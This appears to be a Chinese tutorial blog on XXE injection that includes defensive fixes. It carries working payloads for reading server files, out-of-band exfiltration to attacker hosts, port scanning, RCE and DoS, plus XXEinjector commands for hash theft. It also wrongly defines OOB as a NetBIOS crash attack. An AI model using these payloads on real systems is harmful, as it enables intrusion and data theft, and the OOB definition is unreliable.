XXE
XXE
ccbXXE漏洞
参考:
https://mp.weixin.qq.com/s/08DlKYbVXPtjIK856PBf8w
https://blog.csdn.net/huangyongkang666/article/details/123818066
原理
XML外部实体注入(XML External Entity) 简称XXE漏洞。
XML简介
什么是XML
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1 | <!-- XML声明 --> |
XML 是一种很像HTML的标记语言。
XML 的设计宗旨是 传输数据,而不是显示数据。
XML 标签没有被预定义。需要自行定义标签。
XML 被设计为具有自我描述性。
XML 和 HTML 之间的差异
XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
XML 用途
XML 把数据从 HTML 分离
XML 简化数据共享
XML 简化数据传输
XML 简化平台变更
XML 用于创建新的互联网语言
XML 树结构
XML 文档形成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。
1 |
|
第一行是 XML 声明。它定义 XML 的版本(1.0)和所使用的编码(UTF-8 : 万国码, 可显示各种语言);
下一行<note>
描述文档的根元素(像在说:“本文档是一个便签”);
接下来 4 行描述根的 4 个子元素(to, from, heading 以及 body)
注意:XML 文档必须包含根元素。该元素是所有其他元素的父元素。
XML 文档中的元素形成了一棵文档树。这棵树从根部开始,并扩展到树的最底端。所有的元素都可以有子元素。
XML语法
XML 必须包含根元素,它是所有其他元素的父元素
XML 声明文件的可选部分,如果存在需要放在文档的第一行
<?xml version="1.0" encoding="UTF-8"?>
所有的 XML 元素都必须有一个关闭标签,在 HTML 中,某些元素的关闭标签不是必须的,比如
<p>
。XML 标签对大小写敏感
XML 必须正确嵌套,也就是标签的嵌套顺序要正确。
<b><i>This text is bold and italic</i></b>
XML 属性值必须加引号
1
2
3
4<note date="12/11/2007">
<to>Tove</to>
<from>Jani</from>
</note>实体引用
在 XML 中,一些字符拥有特殊的意义
在 XML 中,有 5 个预定义的实体引用:
< |
< | less than |
---|---|---|
> |
> | greater than |
& |
& | ampersand |
' |
’ | apostrophe |
" |
“ | quotation mark |
XML 中的注释
<!-- This is a comment -->
在 XML 中,空格会被保留
但是 HTML 会把多个连续的空格字符裁减(合并)为一个:
XML 以 LF 存储换行
在 Windows 应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF)。
在 Unix 和 Mac OSX 中,使用 LF 来存储新行。
在旧的 Mac 系统中,使用 CR 来存储新行。
XML 以 LF 存储换行。
XML 元素
XML 元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。XML 元素是可扩展的。
比如
<body>Don't forget me this weekend!</body>
。XML 属性
XML元素具有属性,类似 HTML。属性(Attribute)提供有关元素的额外信息。
属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要。
比如:
<file type="gif">computer.gif</file>
、<img src="computer.gif" />
。XML 属性必须加引号
- 属性不能包含多个值(元素可以)
- 属性不能包含树结构(元素可以)
- 属性不容易扩展(为未来的变化)
属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息。
DTD简介
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
XML内部的 DOCTYPE 声明
1 | <?xml version="1.0"?> |
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
XML中定义 DOCTYPE 的语法:
1 |
比如,有如下note元素,其中第一行代码表示note元素的DTD声明:
1 | <!DOCTYPE note SYSTEM "note.dtd"> |
note.dtd文件的内容如下:
1 | <!ELEMENT note (to,from,heading,body)> |
实体声明
dtd中的实体是用来定义普通文本的变量。可分为一般实体和参数实体
一般实体的声明语法:
1
<!ENTITY 实体名 "实体内容">
引用实体的方式:
&实体名;
参数实体只能在DTD中使用,参数实体的声明格式:
1
<!ENTITY % 实体名 "实体内容">
引用实体的方式:
%实体名;
内部实体声明
dtd中的实体被声明为内部字符数据(普通文本)
语法:
1 | <!ENTITY entity-name "entity-value"> |
实例:
1 | DTD 的实体: |
外部实体声明
dtd中的实体被声明为远程/外部文本文件
语法:
1 | <!ENTITY entity-name SYSTEM "URI/URL"> |
实例:
1 | DTD 的实体: |
PCDATA 简介
PCDATA 的意思是被解析的字符数据(parsed character data)。可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA简介
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
漏洞简介
XXE 漏洞全称XML External Entity Injection,即 XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
漏洞位置
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意 xml文件。
XXE 攻击方式
构建外部实体注入方法
直接通过DTD外部实体声明
在XML文档内直接声明外部实体。
1 | <?xml version="1.0"?> |
先引入外部DTD文档,再引入外部实体声明
在XML文档内直接引入外部文档,再在外部文档内引入外部实体。
XML 文件内容(包含DTD外部文档):
1 | <?xml version="1.0"?> |
evil.dtd 文件内容(包含外部实体):
1 | <!ENTITY b SYSTEM "file:///etc/passwd/"> |
通过XML文档内部声明的DTD外部实体引入外部实体声明
先在XML文档内引入一个外部实体声明,再在外部实体内引入一个在攻击者服务器上的外部实体。
先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明。
XML 文件内容:
注意:在DTD内部使用的参数实体,使用%实体
1 | <?xml version="1.0"?> |
evil.dtd 文件内容:
1 | <!ENTITY b SYSTEM "file:///etc/passwd/"> |
寻找 XML 输入点
甄别那些接受XML作为输入内容的端点。
但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段为 Content-Type:text/xml
等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
例如:
判断wsdl(web服务描述语言),或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。
例如:
从PHP代码层面,存在 Content-Type:text/xml
, 说明 post 的数据包含 XML 格式,如:可以在请求头中添加 Content-Type:text/xml
或 Content-type:application/xml
,然后构造payload测试是否存在XXE攻击漏洞。
XXE 利用方式
1. 文件读取有回显
直接读靶机文件
1 | <?xml version = "1.0"?> |
通过恶意引入外部参数实体,读靶机文件
1 | <?xml version="1.0" ?> |
hack.dtd的内容如下:
1 | <!ENTITY hhh SYSTEM 'file:///etc/passwd'> |
2. 文件读取无回显(多数情况)
当读取文件无回显时,如何将文件内容取出?
OOB攻击(把数据发送到远程服务器)
OOB的意思是“束缚数据脱离”,这是一种破坏Windows系统的过程。它通过向TCP端口139发送随机数来攻击操作系统,从而让中央处理器(CPU)一直处于繁忙状态。原理是利用Windows下微软网络协定NetBIOS的一个例外处理程序,简单说就是传递一个特别大的数据包导致系统死机。
常见的场景是通过XML实体漏洞来攻击。
**先使用php://filter
获取目标文件的内容,然后将内容通过dtd外部文档以http请求发送到接受数据的服务器(攻击服务器)**,这样即使没有回显也能将数据带出。
1 | <?xml version="1.0"?> |
test.dtd的内容,内部的%号要进行实体编码成%
1 | <!ENTITY % payload |
payload的内容为<!ENTITY % send SYSTEM 'http://192.168.1.1:8080/?data=%file;'>
访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据
基于报错
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。所以和OOB的构造方式几乎只有url不同,其他地方一模一样。
引入服务器目标文件
引入DTD外部实体声明,引入服务器目标文件file:///flag,作为%file。
1
2
3
4
5
6
7
8<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "192.168.1.1:8080/xml.dtd"> <!-- 引入DTD外部实体声明 -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>xml.dtd的内容如下:
1
2<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;start 实体中嵌套了一层DTD外部实体 send,注意被嵌套的实体要进行HTML实体编码
访问
file:///hhhhhhh/%file;
报错,然后服务器会返回报错信息,但是该URL中包含%file,因此造成文件内容泄露。引入本地文件
如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。
&
为&
的HTML实体编码。'
为'
的HTML实体编码。1
2
3
4
5
6
7
8
9
10
11
12<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd"> <!-- 引入本地dtd文件 -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://hhhhhhhh/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>ISOamso 实体中嵌套了一层DTD外部实体 eval,接着又嵌套了外部实体 send,注意被嵌套的实体要进行HTML实体编码,而 send 则被编码了两次。
ISOamso的第一行内容为
<!ENTITY % eval "<!ENTITY % send SYSTEM 'file://hhhhhhhh/?%file;'>">
嵌套参数实体
虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的。
1
2
3
4
5
6
7
8<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip/?%file;'>"> <!-- 在内部的实体声明中引用参数实体 -->
%start;
%send;
]>
<message>10</message>基于报错的三层嵌套参数实体XXE
1
2
3
4
5
6
7
8
9
10
11<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>pare的第一行内容为
<!ENTITY % para2 "<!ENTITY % error SYSTEM 'file:///%para1;'>">
3. 内网探测
和读文件差不多,只不过把URI改成内网机器地址
1 | <?xml version="1.0" encoding="UTF-8"?> |
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
4. RCE
1 | <?xml version = "1.0"?> |
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令,其他协议也有可能可以执行系统命令,比如php://input
、php://filter
等。
5. DOS
1 | <?xml version="1.0"?> |
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统:
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
XXE 利用场景
SVG
在xml文档的svg图片标签中插入恶意实体。
1 | <?xml version="1.0" encoding="UTF-8"?> |
excel
利用EXCEL进行XXE攻击。首先用excel创建一个空白的xlsx,然后解压:
1 | mkdir XXE && cd XXE |
将解压得到的[Content_Types].xml
改成恶意xml,再压缩回去:
1 | zip -r ../poc.xlsx * |
绕过
大小写绕过
利用正则匹配的一些过滤规则,可以尝试使用大小写绕过。
编码绕过
比如一些关键词:ENTITY、SYSTEM、file 等被写入黑名单,无法在XML中构造外部实体,可以尝试使用编码绕过,比如 UTF-16BE
1 | cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml |
如果是过滤了http等协议,可以利用实体编码绕过,在前面的XXE利用方式中有用过。
其他协议绕过
如果http被过滤,无法上传XML文件,可以用file://
、php://filter
、data://
data://
1
2
3
4
5
6
7
8
9
10
11
12<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMjcuMC4wLjEvaGFjay5kdGQnPg==">
%a;
%b;
]>
<test>
&xxe;
</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://127.0.0.1/test.dtd'>然后使用data协议上传:
?text=data://text/plain,代码内容
file://
加文件上传1
2
3
4
5
6
7
8<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/1.jpg">
%a;
]>
<!--上传文件1.jpg,内容如下-->
<!ENTITY % b SYSTEM 'http://192.168.1.1:8080/hack.dtd'>php://filter
协议加文件上传1
2
3
4
5
6
7
8
9
10
11
12<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/test.jpg">
%a;
]>
<test>
&xxe;
</test>
<!--上传文件test.jpg,内容如下-->
<!--base64编码内容-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==编码的原本内容为
<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
。
自动化 XXE 工具
XXEinjector是一款基于Ruby的XXE注入工具.
它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
建议在kali环境下运行
基本参数详解:
1 | --host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2) |
使用方法:
枚举HTTPS应用程序中的/etc目录:
1 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl |
使用gopher(OOB方法)枚举/etc目录:
1 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher |
二次漏洞利用:
1 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt |
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
1 | ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc |
通过直接性漏洞利用方式进行资源枚举:
1 | ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK |
枚举未过滤的端口:
1 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all |
窃取Windows哈希:
1 | ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes |
使用Java jar上传文件:
1 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf |
使用PHP expect执行系统指令:
1 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls |
测试XSLT注入:
1 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt |
记录请求信息:
1 | ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt |
XXE 漏洞修复与防御方案
推荐使用开发语言提供的禁用外部实体的方法。
PHP:
1
libxml_disable_entity_loader(true);
JAVA:
1
2DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);python:
1
2from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))过滤用户提交的 XML 数据
过滤关键词:
<!DOCTYPE
、<!ENTITY
、SYSTEM、PUBLIC
实例
xxe-lab
登陆界面,输入用户名密码,抓包
发现输入的数据使用post请求发送,且格式类似XML。
构造payload,执行文件读取:
1 | <?xml version="1.0"?> |
成功获取到Windows配置信息。